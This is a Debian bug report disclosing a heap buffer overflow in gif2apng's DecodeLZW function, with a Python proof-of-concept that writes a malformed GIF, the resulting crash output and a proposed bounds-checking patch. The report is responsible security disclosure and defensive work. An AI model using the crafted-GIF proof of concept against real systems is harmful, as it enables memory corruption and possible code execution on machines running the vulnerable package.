--- Begin Message ---
- To: Debian Bug Tracking System <submit@bugs.debian.org>
- Subject: gif2apng: Heap based buffer overflow in the DecodeLZW function
- From: Kolja Grassmann <koljagrassmann@mailbox.org>
- Date: Sun, 26 Dec 2021 23:56:42 +0100 (CET)
- Message-id: <1649834967.551942.1640559402734@office.mailbox.org>
Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security
Dear Maintainer,
There is a heap based buffer overflow in the gif2apng package. The vulnerability is located in the DecodeLZW function in the gif2apng.cpp file. The problem here is, that this function writes to a buffer, that was allocated using malloc without checking the size of this buffer. Therefore it is possible to provide a gif to the program, that contains more data than fits into this buffer leading to a memory corruption on the heap. I wrote the following poc script in python:
#!/bin/python3
# Writing to poc.gif
f = open("poc.gif", "wb")
# Data needed to enter the code path:
beginning = b"GIF87a" + b"\x10\x00\x10\x00" + b"\x01" * 3 + b"\x2c" + b"\x01" *
9
f.write(beginning)
# Value needed in the vulnerable function
mincode = b"\x07"
f.write(mincode)
for i in range(0,10000):
# Size value and byte we write to the heap
target_char = b"\x01" + b"A"
f.write(target_char)
# Resetting the values using "clearcode" to keep the code path as simple
as possible
clear_code = b"\x01" + b"\x80"
f.write(clear_code)
f.close()
This script creates a file called poc.gif, which writes 10000 "A"'s into a buffer of size 512 leading to memory corruption on the heap. I tested this on Debian 10 using the current version of the package from the testing repository and got the following output:
$ gif2apng -i0 poc.gif /dev/null
gif2apng 1.9 using ZLIB
Reading 'poc.gif'...
1 frames.
malloc(): corrupted top size
Abgebrochen
This vulnerability seems to allow a write of an arbitrary number of arbitrary bytes. Therefore I think it likely, that this could be exploited.
To fix this issue locally I added a buffer_size variable to the main function, which holds the size of the allocated buffer (the imagesize value used initially for the allocation was overwritten at some point). I then passed this value to the DecodeLZW function and added two if-statements around the writes to the the buffer to check whether the buffer can hold more bytes. My code looks as follows:
void DecodeLZW(unsigned char * img, unsigned int img_size, FILE * f1) // added
parameter img_size
{
unsigned int bytes_written = 0;
[...]
if (lastcode == -1)
{
if (bytes_written < img_size) { // Added if-statement
*pout++ = suffix[code];
bytes_written++;
}
else {
printf("Invalid image size\n");
exit(0);
}
firstchar = lastcode = code;
continue;
}
[...]
do
{
if (bytes_written < img_size) { // Added if-statement
*pout++ = *--pstr;
bytes_written++;
}
else {
printf("Invalid image size\n");
exit(0);
}
}
while (pstr > str);
[...]
int main(int argc, char** argv)
{
unsigned int buffer_size = 0; // New variable to hold the size of the
buffer
[...]
grayscale = 1;
buffer_size = imagesize*2; // New variable, as imagesize is overwritten
at some point
buffer = (unsigned char *)malloc(buffer_size);
if (buffer == NULL)
{
printf("Error: not enough memory\n");
return 1;
}
[...]
DecodeLZW(buffer, buffer_size, f1); // Added buffer_size
[...]
DecodeLZW(buffer, buffer_size, f1); // Added Buffer size
[...]
This compiled successfully and fixed the buffer overflow for me. I am however not sure if this is the cleanest way to fix the issue and it could use some more testing.
Best regards
Kolja
-- System Information:
Debian Release: 10.11
APT prefers oldstable-updates
APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages gif2apng depends on:
ii libc6 2.28-10
ii libzopfli1 1.0.2-1
ii zlib1g 1:1.2.11.dfsg-1
gif2apng recommends no packages.
Versions of packages gif2apng suggests:
pn apng2gif <none>
-- no debconf information
--- End Message ---